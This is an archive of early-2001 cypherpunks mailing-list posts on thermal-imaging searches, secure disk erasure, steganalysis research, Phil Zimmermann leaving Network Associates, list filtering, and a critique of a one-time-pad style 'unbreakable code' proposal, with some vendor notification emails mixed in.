ID-support at verisign.com




From id-support at verisign.com  Tue Feb 20 01:25:47 2001
From: id-support at verisign.com (VeriSign Customer Support Department)
Date: Tue, 20 Feb 2001 01:25:47 -0800 (PST)
Subject: Secure your E-mail with your Trial Digital ID
Message-ID: <200102200922.BAA27898@toad.com>


Dear VeriSign Digital ID Holder:

Thank you for obtaining a 60-Day Trial Digital ID from VeriSign!  With the recent introduction of secure e-mail capabilities in Netscape's Messenger (the e-mail application in Communicator) and several other popular e-mail packages, your Digital ID provides you with the ability to digitally encrypt and sign your messages to ensure security over the Internet. 

To learn more about using your Digital ID to secure your e-mail messages, please visit our Secure E-Mail Reference Guide at http://www.verisign.com/securemail/guide.  This guide gives simple, step-by-step instructions on how to get started.

Thanks again for choosing VeriSign! We look forward to serving your future electronic commerce and communications needs.

VeriSign Customer Support Dept.
ID-support at verisign.com




From ravage at EINSTEIN.ssz.com  Tue Feb 20 05:24:42 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 07:24:42 -0600 (CST)
Subject: Is a Thermal Imaging search needful of a warrant?
In-Reply-To: <200102200517.AAA20965@www0.aa.psiweb.com>
Message-ID: <Pine.LNX.3.96.1010220071905.5925W-100000@einstein.ssz.com>



Diffie should stick to cryto, outside of that he's an idiot and doesn't
know of what he speaks. Hell, all those socialists at Sun seem to be idiot
savants.

If it was only a thermal imaging device involved it might fly (like a bird
can cross your property line with impunity). However, all the thermal
image device does is frequency shift the radiation to a range that IS
VISIBLE BY HUMAN EYES. It's still a human being looking at the image and
making evaluations of it.

Further, I'd like to see the definition of 'search' that is dependent upon
the mechanism, there is no such definition. 'Search' is about intent, not
method. 'Mechanism' is certainly NEVER mentioned in the 4th. Where did
this extra stricture come from? Where is it's justification?

"Why" and "How" are irrelevent in respect to a search. That one WANTS is
sufficient.

And, no. I'm no 'leftie'.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------


On Tue, 20 Feb 2001 George at Orwellian.Org wrote:

> Chaos Universe wrote:
> #    Is a visible light search needful of a warrant?
> #    If so then why is the frequency of the radiation an issue?
> 
> What this list needs is another space-cadet to answer him.
> Yer one of them whacky left-handers, ain't cha?
> 
> ----
> 
> The point at which you start peering into someone's castle
> without a warrant is considered by some to be "too-far",
> and deserving of constitution claims of protection.
> 
> It's no longer a human peering in, it's a cyborg.
> 
> A Thermal Imaging search of a home without a warrant
> is a technological attack on privacy.
> 
>     Whitfield Diffie, Distinguished Engineer---Security at Sun Microsystems:
> 
>     "An essential element of freedom is the right to privacy, a right that
>     cannot be expected to stand against an unremitting technological attack."
> 
> Therefore the issue of frequency is an issue.
> 
>     What's the frequency, Jimmy?
> 




From ravage at EINSTEIN.ssz.com  Tue Feb 20 05:33:47 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 07:33:47 -0600 (CST)
Subject: [Re: [Sovereignty v. global justice [was... Mohammed gets Miranda]]]
In-Reply-To: <20010220055116.11200.qmail@wwcst269.netaddress.usa.net>
Message-ID: <Pine.LNX.3.96.1010220072843.5925b-100000@einstein.ssz.com>



On 19 Feb 2001, LUIS VILDOSOLA wrote:

> Your response raises more questions for me Jim

And me as well :)

> like:
> -what is property?

A figment of human psychology. My dog certainly doesn't use the same
definition of 'property' that I do, so it's clearly not 'universal'.

> -how can I appropriate of the cleanest air this world has to offer?

I don't understand this question, poor wording.

I think you're asking how to make sure the world is a clean place. As long
as humans must live on the planet full time I doubt it'll ever happen.
Outside of resource issues and looking at the political/psychological
aspects, Two party (ie consumer/producer) systems are inherently unstable
(it's why nobody wants to answer the question "where does the market
stability come from in order to create the free market"). So the answer
would seem to be diversity (ie vote with your feet).

> -what property will give me quality of life and not take it from me?

I don't think property will give you that. The only measure of 'quality of
life' I've ever seen is 'security through freedom'.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at EINSTEIN.ssz.com  Tue Feb 20 05:34:59 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 07:34:59 -0600 (CST)
Subject: SHA-256 source code (fwd)
Message-ID: <Pine.LNX.3.96.1010220073450.5925c-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Mon, 19 Feb 2001 20:47:59 -0800
From: Wei Dai <weidai at eskimo.com>
To: sao19677 at terra.com.br
Cc: coderpunks at toad.com
Subject: Re: Re: SHA-256 source code

On Mon, Feb 19, 2001 at 09:12:20AM -0300, sao19677 at terra.com.br wrote:
> Sorry for the question, but how could we be sure
> you are the *same* anonymous that posted the code?
> And for that matter, how could any court possibly
> judge authorship in this case? What prevents anybody
> else from using the same amonymous remailer to claim
> her ownership too?

If the original anonymous author had the foresight to timestamp his code
together with a public key before he posted the code, he can now claim
authorship by publishing the timestamp and signing messages with that key.

BTW, if anyone wants a public domain implementation of SHA-2 (including
-256, -384, and -512) with known authorship, there's one available in
Crypto++. It's written by myself, based on Steve Reid's public domain
SHA-1 code.




From ravage at EINSTEIN.ssz.com  Tue Feb 20 05:45:42 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 07:45:42 -0600 (CST)
Subject: privacy regulations suck also (Re: Formal apology) 
In-Reply-To: <E146D042F119D211B16F00A0CC32B87F396BF0@mrwhite.privacyright.com>
Message-ID: <Pine.LNX.3.96.1010220074118.5925g-100000@einstein.ssz.com>

<<< No Message Collected >>>




From gonews at registration.go.com  Tue Feb 20 08:11:54 2001
From: gonews at registration.go.com (GO.com)
Date: Tue, 20 Feb 2001 08:11:54 -0800 (PST)
Subject: GO.com Service Notification
Message-ID: <20010220161154.CD3A1C5331@mrelay14.starwave.com>


Dear Parent of tom, 

Thank you for your support and interest in using GO.com search and 
other services over the past 2 years. GO.com is currently going 
through a transition and soon it will no longer be available in its 
current form. Many of the outstanding Internet services and tools 
you enjoy today on GO.com will become available throughout our 
family of sites or an alternate provider. Answers to questions you 
may have about your favorite GO.com features and this transition 
are available on a special GO.com frequently asked questions (FAQ) 
page.  Please click on the following link for more information:

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Further, we are pleased to announce that GO.com Mail service will 
not be disrupted and will continue to be accessible by clicking on 
the GO Mail link on the home page of ALL of our family of sites - 
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From honig at sprynet.com  Tue Feb 20 08:49:24 2001
From: honig at sprynet.com (David Honig)
Date: Tue, 20 Feb 2001 08:49:24 -0800
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <F504A8CEE925D411AF4A00508B8BE90A91EBB4@exna07.securitydyna
 mics.com>
Message-ID: <3.0.6.32.20010220084924.00893c40@pop.sprynet.com>


At 10:30 AM 2/20/01 -0500, Trei, Peter wrote:
>
>It's my vague recollection that some of the newer storage technologies
>(CD-RWs, MOs, etc) use preformatted pits to store the data bits. Its
>possible that for these technologies, the number of overwrites 
>required to make data irrecoverable is considerably lower, but that's
>outside my area of expertise.
>
>Peter Trei

Not only that, but I was able to find *no* specs on secure wiping of
CDs and MOs, searching both the net and querying cypherpunks some time ago.
(This thread is quickly misinterpreted and devolves into CD aging and
shredding
issues; neither of which helps if you're using a CD for OTP and want to wipe
used bits.)


.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From ravage at EINSTEIN.ssz.com  Tue Feb 20 06:51:30 2001
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 08:51:30 -0600 (CST)
Subject: The answer mankind has been looking for... (No, really)
Message-ID: <Pine.LNX.3.96.1010220085039.5925j-100000@einstein.ssz.com>



Quit looking to other people to solve your troubles.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From dclydew at interhack.net  Tue Feb 20 07:08:33 2001
From: dclydew at interhack.net (D. Clyde Williamson)
Date: Tue, 20 Feb 2001 10:08:33 -0500
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3337136558.982589680@[10.0.0.5]>
References: <3337136558.982589680@[10.0.0.5]>
Message-ID: <14994.34929.329047.610019@gargle.gargle.HOWL>


You may want to check out the Shibboleth Project (
http;//www.interhack.net/projects/shibboleth/ ). It's a listserv type
system that focuses on privacy and security. Matt has the code, but
hasn't officially released it since there are still some feature
bugs. However, it does have full PGP support for encryption and
digital sig's. Of course, that makes overhead on the host processor
daunting.

Check out the paper there, and if you're interested you can shoot him email.


Rachel Willmer writes:
 > This might be a FAQ. Or it might just be a question with a really obvious 
 > answer that I can't see for looking.
 > 
 > How can I set up a mailing list or online forum with encrypted traffic?
 > 
 > The clients are varied platforms: Win98, WinNT, OpenBSD, FreeBSD.
 > 
 > I thought about tweaking the listserver to send out encrypted mails. But 
 > that doesn't help the inbound traffic.
 > 
 > I thought about using some online forum. But the only one I can find which 
 > looks to make any mention of the word security is Groove. Which is Windows 
 > only.
 > 
 > I thought about setting up a VPN between the various mailservers. But we'd 
 > have to secure all the MX hosts to be sure, and some of them aren't 
 > adminstratively accessible by me. and anyway one of the potential users 
 > uses a public ISP,
 > 
 > so um, help! is this a FAQ with no answer? or is this a question with an 
 > answer so obvious I'll blush when I'm told what it is...
 > 
 > All suggestions welcome...
 > Rachel
 > 
 > 




From bear at sonic.net  Tue Feb 20 10:18:40 2001
From: bear at sonic.net (Ray Dillinger)
Date: Tue, 20 Feb 2001 10:18:40 -0800 (PST)
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <3.0.6.32.20010219211718.0088f100@pop.sprynet.com>
Message-ID: <Pine.LNX.4.21.0102201003090.4939-100000@bolt.sonic.net>




On Mon, 19 Feb 2001, David Honig wrote:

>At 11:38 AM 2/19/01 -0800, Ray Dillinger wrote:
>>The problem is that data that's been written over once, or even 
>>twice or ten times, can often still be read if someone actually 
>>takes the platters out and uses electromagnetic microscopy on 
>>them. 
>
>Really?  You think the fed specs on secure wiping are disinfo?

Disinformation is such an ugly word...  and the published fed 
specs on secure wiping apply to not-very-sensitive data.  For 
highly sensitive data, most secure wipe specs are classified, 
or, as someone else here pointed out, involve physical destruction 
of the drive. 

I think this is probably one of the biggest gaps remaining in 
system security.  If you are careful, you can use BSD and GPG 
etc to build a quite secure box - but if sensitive plaintexts 
are ever stored on the drive, even if they are overwritten, 
then when a data thief willing to spend enough bucks gets the 
drive, you lose.

At the very least, we need browsers that don't store their caches, 
cookies, or history files in cleartext.

We need mail programs that never EVER write the cleartext to the 
disk.

We need newsreaders that don't store the articles in cleartext, 
or for that matter the list of newsgroups that someone is subscribed 
to.

We need editors that don't put cleartext on the disk when you 
hit the "save" command.

This is basic stuff, fundamental.  Hardware theft is a threat model 
that's been far too often ignored in the design of secure systems. 
Why bother to build a good cipher if you leave the plaintext lying 
around where it can be stolen?

				Bear





From jchoate at dev.tivoli.com  Tue Feb 20 08:30:06 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Tue, 20 Feb 2001 10:30:06 -0600
Subject: To journalist: Beyond The Valley of 1984
Message-ID: <3A929B8E.AD3FEED4@dev.tivoli.com>



In particular "Pig is a Pig"...

http://plasmatics.com/BeyondCD.html

-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From ptrei at rsasecurity.com  Tue Feb 20 07:30:18 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Tue, 20 Feb 2001 10:30:18 -0500
Subject: Secure Erasing is actually harder than that...
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBB4@exna07.securitydynamics.com>


> David Honig[SMTP:honig at sprynet.com] wrote:
> At 11:38 AM 2/19/01 -0800, Ray Dillinger wrote:
> >The problem is that data that's been written over once, or even 
> >twice or ten times, can often still be read if someone actually 
> >takes the platters out and uses electromagnetic microscopy on 
> >them. 
> >
> 
> Really?  You think the fed specs on secure wiping are disinfo?
> 
I don't think they're disinfo, but I suspect they are dated. Also, 
for highly sensitive data, the secure wiping standards generally
involve liberal use of thermite.

The problem lies in the gap between what disk 
manufacturers are willing to spend on disk r/w 
mechanisms,  and what an attacker is able to spend.

If your threat model does not include seizure (or a secret 
swap-out) of the hard drive, then yes, a single overwrite 
with random data will protect you pretty well. If something 
could  be done to use the existing head mechanisms to 
reliably recover over-written data, then the HD manufacturers 
would be  using it to boost capacity.

It's when your opponent can pull out the platters, and either
put them in a drive with better heads, or into an AFM rig, that
the remanent data becomes interesting. 

How many overwrites it takes to securly delete varies according
to several factors, including:

* How many random writes it takes to make the analog flux
levels irrecoverable.

* How much jitter there is in the drive - the likely hood that 
a given write of a sector will be a little closer or further from the
center of the track, measured radially (I suspect that this is
affected by termperature and the most recent head movement)

* How accurate the drive is in speed and time - ie, if a given bit
is written slightly earlier or later along the track than it was the
previous time. Again, temperature may be an important factor.

I would expect that as disks become denser, the head mechanisms
also become more precise, and the recover problem gets harder.

It's my vague recollection that some of the newer storage technologies
(CD-RWs, MOs, etc) use preformatted pits to store the data bits. Its
possible that for these technologies, the number of overwrites 
required to make data irrecoverable is considerably lower, but that's
outside my area of expertise.

Peter Trei











From tcmay at got.net  Tue Feb 20 10:40:15 2001
From: tcmay at got.net (Tim May)
Date: Tue, 20 Feb 2001 10:40:15 -0800
Subject: The CIA for Kids?
In-Reply-To: <Pine.LNX.4.21.0102191140260.14771-100000@bolt.sonic.net>
References: <Pine.LNX.4.21.0102191140260.14771-100000@bolt.sonic.net>
Message-ID: <a05010400b6b869fc6a71@[207.111.241.2]>


At 11:43 AM -0800 2/19/01, Ray Dillinger wrote:
>On Mon, 19 Feb 2001, Matthew Gaylor wrote:
>
>>The CIA for Kids?
>>
>>The Central Intelligence Agency now has a web site for children.  And
>>I'm not kidding. http://www.cia.gov/cia/ciakids/index.html
>>
><clip>
>  >
>>And nary a ripple surfaced last year by the mainstream media when it
>>was revealed that the US Army's Psychological Operations Units do
>>Internships at CNN and other news outlets.
>
>Have you noticed that General dynamics owns General Electric, who
>in turn own NBC and RCA?  So how do we like getting large chunks of
>our news broadcasts and pop music from one of the government's major
>arms dealers?

No, I _hadn't_ noticed that General Dynamic owns General Electric! 
Wow. Have you notified the Wall Street Journal and other such outlets?

Even stranger, GD has a market cap of $14 billion, while GE has a 
market cap of $475 billion, so this new ownership arrangement is 
itself a news item.


--Tim May
-- 
Timothy C. May         tcmay at got.net        Corralitos, California
Political: Co-founder Cypherpunks/crypto anarchy/Cyphernomicon
Technical: physics/soft errors/Smalltalk/Squeak/agents/games/Go
Personal: b.1951/UCSB/Intel '74-'86/retired/investor/motorcycles/guns




From mmotyka at lsil.com  Tue Feb 20 10:41:52 2001
From: mmotyka at lsil.com (mmotyka at lsil.com)
Date: Tue, 20 Feb 2001 10:41:52 -0800
Subject: Is a Thermal Imaging search needful of a warrant?
Message-ID: <3A92BA70.677E516@lsil.com>


>
>On Mon, 19 Feb 2001, Jim Choate wrote:
>
>>
>>Is a visible light search needful of a warrant? If so then why is the
>>frequency of the radiation an issue?
>>
>
>The capacity of most humans to see in visible light wavelengths is 
>well-documented, and this capacity forms part of our expectation of 
>what is and is not private.  
>
>People erect privacy fences *BECAUSE* those fences cannot be seen 
>through in the visible-light spectrum.  In so doing, they express 
>an intent for the stuff behind those fences to be private.  
>
>*sigh.*  I suppose it would freak their cookies, and might even 
>prompt a search-warrant, if someone installed steel plates in 
>his walls so that the impulse-radar was baffled.  
>
>                                Bear
>
>
Are you shielding from FMJ rounds or radar?

Foil-faced insulation should do just fine. Time to check my walls.

And I doubt if having a radar-proof house or a Faraday room is probable
cause for a warrant.

And while we're on the subject, anyone know where to get Levis and
t-shirts with some aluminized fibers, the mofo's are starting to deploy
this shit at airports aren't they?

Mike




From ptrei at rsasecurity.com  Tue Feb 20 07:58:19 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Tue, 20 Feb 2001 10:58:19 -0500
Subject: Phil Zimmerman leaves NAI
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBB6@exna07.securitydynamics.com>

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From ptrei at rsasecurity.com  Tue Feb 20 07:58:19 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Tue, 20 Feb 2001 10:58:19 -0500
Subject: Phil Zimmerman leaves NAI
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBB6@exna07.securitydynam
  ics.com>

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From lists at politechbot.com  Tue Feb 20 08:13:23 2001
From: lists at politechbot.com (Declan McCullagh)
Date: Tue, 20 Feb 2001 11:13:23 -0500
Subject: NSA, Pentagon, police fund research into steganography detection
Message-ID: <20010220111323.D2575@cluebot.com>




http://www.wired.com/news/politics/0,1283,41861,00.html

   Secret Messages Come in .Wavs
   by Declan McCullagh (declan at wired.com)

   2:00 a.m. Feb. 20, 2001 PST
   FAIRFAX, Virginia -- Neil Johnson has a job that's nothing if not
   unusual: He investigates how to uncover concealed messages embedded in
   sound and video files.
   
   A researcher at Virginia's George Mason University, Johnson is one of
   a small but growing number of digital detectives working in the field
   of computer steganalysis -- the science of detecting hidden
   communications.
   
   "I analyze stego tools," said the 32-year-old security specialist who
   is the associate director of GMU's Center for Secure Information
   Systems. "I try to find out what can be detected or disabled. I see
   what their limitations are."
   
   The tools he's talking about include programs such as Steghide, which
   can embed a message in .bmp, .wav and .au files; and Hide and Seek,
   which works with .gif images.
   
   Most computer-based steganography tools have one thing in common: They
   conceal information in digitized information -- typically audio, video
   or still image files -- in a way that prevents a casual observer from
   learning that anything unusual is taking place.
   
   The surprising news, according to Johnson and other researchers:
   Current stego programs don't work well at all. Nearly all leave behind
   fingerprints that tip off a careful observer that something unusual is
   going on.
   
   Johnson's work on steganalysis may seem obscure, but it has important
   law enforcement and military applications. The National Security
   Agency and police agencies have underwritten his research -- his
   center's graduate program at GMU is even certified by the NSA.
   
   The Pentagon funds related research at other institutions, and the
   Naval Research Laboratory is helping to organize the fourth annual
   Information Hiding Workshop in Pittsburgh from April 25 to 27.
   
   Earlier this month, news reports said U.S. officials were worried that
   operatives of accused terrorist Osama bin Laden now use steganographic
   applications to pass messages through sports chat rooms, sexually
   explicit bulletin boards and other sites. That complicates the NSA's
   mission of "sigint," or signals intelligence, which relies on
   intercepting communications traffic.
   
   [...]

   WetStone's "Steganography Detection and Recovery Toolkit" is being
   developed for the Air Force Research Laboratory in Rome, New York. The
   project overview, according to the company, is "to develop a set of
   statistical tests capable of detecting secret messages in computer
   files and electronic transmissions, as well as attempting to identify
   the underlying steganographic method. An important part of the
   research is the development of blind steganography detection methods
   for algorithms."

   Gordon said the effort arose from a study the Air Force commissioned
   from WetStone on forensic information warfare in 1998. The company was
   asked to identify technologies that the Air Force needed to guard
   against and it highlighted steganography as one of them.

   In addition to the NSA and the eavesdrop establishment, military
   installations, government agencies, and private employers could be
   affected by steganography. An employee or contractor could send
   sensitive information via e-mail that, if hidden, would not arouse
   suspicion.

   [...]


-Declan
http://www.mccullagh.org/







From sunder at sunder.net  Tue Feb 20 08:40:01 2001
From: sunder at sunder.net (Sunder)
Date: Tue, 20 Feb 2001 11:40:01 -0500
Subject: It's 2001, so it must be time for A Modest Filtering Proposal
References: <F504A8CEE925D411AF4A00508B8BE90A91EBAA@exna07.securitydynamics.com> <a05010400b6b4844692f0@[207.111.241.219]>
Message-ID: <3A929DE1.12573C53@sunder.net>


Tim May wrote:
> 

> 3. Wider use of downstream-filtered services, like Ray Arachelian's
> service. I have sometimes thought about dropping my subscription to
> one of the  CDR nodes and subscribing to Ray's service instead, but I
> have several reservations. First, whether it will remain in
> operation. Second, what the lag time is. Third, his is a "this is
> what I think is interesting" service, so there are obvious problems
> of his interests not matching mine, or even of my own posts not being
> seen by me because he has elected not to pass them on.

Latency is pretty high actually these days as I tend to be too busy to
read the list in a timely manner - whatever that means.  As usual I queue
up mail as I read it, saving it to a folder, then I use a perl script to
deliver it.  It used to be once a week, now, it's sometimes more.

At times of stress (i.e. moving, changing jobs, heavy work load) the delay
has gotten as high as a month - though this tends to be rare.  The norm is
a week to a week and a half.

Because of this, I don't always include notices of meetings or events that
I don't anticipate sending the queued up messages in time for.

It will remain in service as long as there is interest in it (both my
personal interest in running it and the interest of its users), and as 
long as I can devote *some* time to it.

Indeed, it's filtered based on what I think is interesting, though most
of the time I take pretty much any post that's not spam, not a subject
that's offtopic to cypherpunks - i.e. answers to request for envelope
stuffing, bomb making, stickers, child porn, glue sniffing, CDR node
politics and discussions about filtering.

Yes, some of Choate's postings do make it through - the useful ones.
Sadly even the single url ones if the url points to something useful.
The alternate Choatian universe posts don't.

Anything technical, if on topic makes it.  (i.e. a discussion of the
combustion engine, or types of boilers and heating systems won't
make it - if it does, only one or two interesting messages will.)

All crypto related math or tech stuff goes through.

Since you mention it, most of your posts make it through, though, not
the attakcs on morons, as I delete the original moron's message, hence 
the thread itself being offtopic the replies to it don't make it.

The Reply-To's are set to whatever mailing list/person they came from.  
I don't censor your replies nor receive them unless you send them to
a mailing list that I read (i.e. the cdr's)  I censor only the incoming
text as if I were clipping articles out of a newspaper and junking the
fluff and ads.

The side effect of replying to a filtered message is that the subject
gets a "cpunx: " tag added to it.  So if you dislike the "CDR:" you
won't like this.  At the same time to avoid overload of such subject
like keywords, I strip the "CDR:" from all subject lines before sending
the messages, thus effectively replacing one tag for another.

I also remove the artifacts of "RE: Re: re:" whenever possible.  You
won't see "cpunx: Re: cpunx:" as I filter those out also.

A lot of mailing lists do this type of subject tagging, and I happen
to like.  I realize most of you - those who have commmented on this
dislike the practice.  I happen to agree that it should be done with a
bit of caution to prevent "Re: Re: Re:" and "CDR: CDR: CDR:" subjects.

Sometimes I fuck up and save an important message twice.  Sometimes I 
fuck up and a notice for a meeting that already happened gets sent.
It happens.  Get over it. :)

These aren't rules, and I don't have this as a hard in stone policy, and
yes, I break my own "rules" because they aren't - they're more of an
observation of my personal decisions and actions.

I used to have archives of the digests, but too many spooks were emailing
me about them, or being attracted by them, so I stopped distributing them
on the web, removing obvious assholes that have .gov addresses.  Hey, I
don't want them wasting my hard earned taxes for their surfing.  Let them
get hotmail accounts if they've got half a clue. :)  I'm sure the real 
spooks already are subscribed to the unfiltered cdr's, so why the fuck
should I provide them with sanitized info?  I already "work" for them
half of my working time by paying them over 50% of my pay to taxes.

As this rant is about the filtered list, I likely will let it in the
filtered list to let those who read the list get a glimpse of how it works,
or rather how 'I work' to provide it.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From declan at well.com  Tue Feb 20 08:46:57 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 20 Feb 2001 11:46:57 -0500
Subject: Phil Zimmermann leaves NSI, says PGP source should be published
Message-ID: <5.0.2.1.0.20010220114652.02003450@mail.well.com>



*******
Here's a photo:
http://www.mccullagh.org/image/6/phil-zimmermann.html
*******

http://www.wired.com/news/business/0,1367,41896,00.html

    PGP Creator Bolts to Hush
    by Declan McCullagh (declan at wired.com)
    8:25 a.m. Feb. 20, 2001 PST

    Phil Zimmermann, the legendary creator of e-mail and file-encryption
    program PGP, will become the chief cryptographer for Web-based e-mail
    company Hush Communications.

    Citing differences with Network Associates -- which bought PGP in 1997
    -- Zimmermann said he left the company so he could devote his time to
    making the open standard called OpenPGP more accepted in the industry.

    "For the past decade PGP has been the gold standard for e-mail
    encryption but we've always had trouble expanding beyond the power
    users because of ease-of-use problems," Zimmermann said in a statement
    on Monday. "The OpenPGP standard will be well served by Hush's fresh
    approach to ease of use and its roaming capability."

    Hush Communications, based in Dublin, Ireland, is a venture-capital
    funded company best known for its free, encrypted Hushmail and
    HushPOP services.

    Zimmermann's departure from Network Associates caps a turbulent decade
    marked by the release of his first version of "Pretty Good Privacy" in
    1991, his instant fame as a hero of the online privacy movement, a
    tussle with patent-holder RSA Data Security, and an agonizingly
    extended criminal investigation by the federal government for alleged
    violations of U.S. export laws governing cryptographic products.

    When the antiwar-activist-turned-programmer sold his company, PGP
    Inc., to Network Associates and became a senior fellow, he began to
    have clashes with executives over the direction of PGP. Network
    Associates repeatedly flirted with the concept of key recovery --
    endorsed by the Clinton administration but anathema to privacy
    advocates -- and has refused to publish the source code to the latest
    versions of PGP so outside experts can verify that no backdoors are
    present.

    Network Associates' departure from the aggressive kind of full
    disclosure favored by security analysts has fueled a move in the
    open-source community toward GNU Privacy Guard, a free replacement for
    PGP that does not rely on the patented IDEA algorithm. But its
    graphical interface, GNU Privacy Assistant, still is being developed
    and is not a finished product.

    [...] 




From lvild at usa.net  Tue Feb 20 11:50:39 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 20 Feb 2001 11:50:39 PST
Subject: [Re: [Re: [Sovereignty v. global justice [was... Mohammed gets Miranda]]]]
Message-ID: <20010220195039.1924.qmail@nwcst267.netaddress.usa.net>


I agree with your response to the first question,
the next two questions are absurd questions suggesting
a simple repudiation to them and by that means,
a simple repudiation to a clear concept of property.

You interpreted the third question right.


Jim Choate <ravage at EINSTEIN.ssz.com> wrote:
> 
> 
> On 19 Feb 2001, LUIS VILDOSOLA wrote:
> 
> > Your response raises more questions for me Jim
> 
> And me as well :)
> 
> > like:
> > -what is property?
> 
> A figment of human psychology. My dog certainly doesn't use the same
> definition of 'property' that I do, so it's clearly not 'universal'.
> 
> > -how can I appropriate of the cleanest air this world has to offer?
> 
> I don't understand this question, poor wording.
> 
> I think you're asking how to make sure the world is a clean place. As long
> as humans must live on the planet full time I doubt it'll ever happen.
> Outside of resource issues and looking at the political/psychological
> aspects, Two party (ie consumer/producer) systems are inherently unstable
> (it's why nobody wants to answer the question "where does the market
> stability come from in order to create the free market"). So the answer
> would seem to be diversity (ie vote with your feet).
> 
> > -what property will give me quality of life and not take it from me?
> 
> I don't think property will give you that. The only measure of 'quality of
> life' I've ever seen is 'security through freedom'.
> 
>     ____________________________________________________________________
> 
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
> 
>                                            "Stranger Suns"
>                                            George Zebrowski
> 
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
> 


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From tom at ricardo.de  Tue Feb 20 03:00:43 2001
From: tom at ricardo.de (Tom)
Date: Tue, 20 Feb 2001 12:00:43 +0100
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
References: <812dac90e98a2fe1d36580de3c7daed8@anonymous>
Message-ID: <3A924E5B.F5EA8CCA@ricardo.de>


An Metet wrote:
> 
> By GINA KOLATA
> 
>         http://www.nytimes.com/2001/02/20/science/20CODE.html?pagewanted=all
> 

essentially, a one-time-pad with a central source of randomness, the key
being the point in the random-number-stream that you start with.


> "It's a cute idea, but it's simply unmanageable," Dr. Deavours said.

I agree completely on that, but for very different reasons.

a) ok, it *is* unbreakable, since it's a one-time-pad. however, that
only refers to mathematics/cryptoanalysis, not to the wide variety of
other attacks.


b)
> He explained: "You can still get the message, but maybe not by cryptanalysis. 
> If you're in this business, you go after a reasonably cheap, reliable method. 
> It may be one of the three B's: burglary, bribery or blackmail. Those are right 
> up there along with cryptanalysis in their importance."

of course, that's the first thing coming to mind. however, I have other
reservations:


c) the system's security rests entirely on the fact that the data volume
is so "enormous" (10 mio. mio bits per second).
or is it? high-energy research (CERN, etc.) today generates terrabytes
of data everytime they hit the "on" switch. the computer centres there
are equipped to handle two-digit terrabyte volumes in very short times.
the problem is that the security of your message increases linear with
the time you wait before sending it, because said time determines the
likeliness that eve has run out of storage space and has started to
overwrite old data.


d) that, however, isn't even the worst problem. since bob also has to
record the stream in order to decrypt the message, alice has to say
"start" at a time X. all eve has to do is also hit the "record"
button.(*)
what this system does protect against is eve finding the message and her
desire to decrypt it AFTER the fact.
but it doesn't offer any advantage over existing systems in this area.
the main danger of them is that either alice or bob store the
one-time-pad or plaintext somewhere. that's a danger entirely outside
the cryptosystem and not dealt with in this one, either.

(*) one might think that no explicit "start" is required, since bob can
just start grabbing the stream "live" while receiving the message.
however, that requires perfect syncrocity(sp?) between alice and bob,
something that is quite impractical at the requested flow rate.
